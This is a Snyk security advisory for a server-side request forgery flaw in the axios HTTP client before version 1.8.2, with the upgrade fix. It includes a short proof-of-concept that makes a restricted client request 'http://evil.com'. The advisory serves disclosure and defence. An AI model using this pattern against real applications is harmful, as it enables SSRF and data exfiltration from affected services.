Server-side Request Forgery (SSRF) Affecting axios package, versions <1.8.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-AXIOS-9292519
  • published7 Mar 2025
  • disclosed1 Mar 2025
  • creditDavid Arien, Tsubasa Irisawa

Introduced: 1 Mar 2025

NewCVE-2025-27152  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade axios to version 1.8.2 or higher.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

CVSS Base Scores

version 4.0
version 3.1